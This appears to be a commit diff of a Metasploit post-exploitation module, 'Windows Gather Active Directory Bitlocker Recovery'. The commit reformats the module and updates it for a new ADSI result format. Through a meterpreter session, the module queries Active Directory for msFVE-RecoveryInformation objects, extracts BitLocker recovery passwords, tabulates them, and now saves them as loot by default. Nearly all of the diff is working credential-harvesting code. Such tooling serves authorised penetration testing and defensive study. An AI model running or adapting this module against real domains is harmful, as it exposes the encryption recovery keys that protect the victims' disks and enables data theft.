Tidyup and update for new ADSI format

bug/bundler_fix
Meatballs 2015-04-29 09:48:44 +01:00
parent 0d81ad4db4
commit 7e5b03c44e
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 28 additions and 39 deletions

View File

@ -8,69 +8,60 @@ require 'msf/core'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::LDAP
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Active Directory Bitlocker Recovery',
'Description' => %Q{
This module will enumerate bitlocker reocvery passwords in the default AD
directory. Requires Domain Admin or other delegated privileges.
},
'License' => MSF_LICENSE,
'Author' => [ 'Ben Campbell <ben.campbell[at]mwrinfosecurity.com>' ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
['URL', 'tbc'],
]
))
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Gather Active Directory Bitlocker Recovery',
'Description' => %(
This module will enumerate bitlocker reocvery passwords in the default AD
directory. Requires Domain Admin or other delegated privileges.
),
'License' => MSF_LICENSE,
'Author' => [ 'Ben Campbell <ben.campbell[at]mwrinfosecurity.com>' ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
['URL', 'https://technet.microsoft.com/en-us/library/cc771778%28v=ws.10%29.aspx']
]
))
register_options([
OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]),
OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]),
OptString.new('FIELDS', [true, 'FIELDS to retrieve.', 'distinguishedName,msFVE-RecoveryPassword']),
OptString.new('FILTER', [true, 'Search filter.', '(objectClass=msFVE-RecoveryInformation)'])
], self.class)
end
def run
fields = datastore['FIELDS'].gsub(/\s+/,"").split(',')
fields = datastore['FIELDS'].gsub(/\s+/, "").split(',')
search_filter = datastore['FILTER']
max_search = datastore['MAX_SEARCH']
q = query(search_filter, max_search, fields)
if q.nil? or q[:results].empty?
if q.nil? || q[:results].empty?
print_status('No results found...')
return
end
# Results table holds raw string data
results_table = Rex::Ui::Text::Table.new(
'Header' => "Bitlocker Recovery Passwords",
'Indent' => 1,
'SortIndex' => -1,
'Columns' => fields
)
'Header' => 'Bitlocker Recovery Passwords',
'Indent' => 1,
'SortIndex' => -1,
'Columns' => fields
)
# Reports are collections for easy database insertion
reports = []
q[:results].each do |result|
row = []
report = {}
0.upto(fields.length-1) do |i|
if result[i].nil?
field = ""
else
field = result[i]
end
row << field
result.each do |field|
field_value = (field.nil? ? '' : field[:value])
row << field_value
end
reports << report
results_table << row
end
@ -80,6 +71,4 @@ class Metasploit3 < Msf::Post
print_status("Results saved to: #{stored_path}")
end
end
end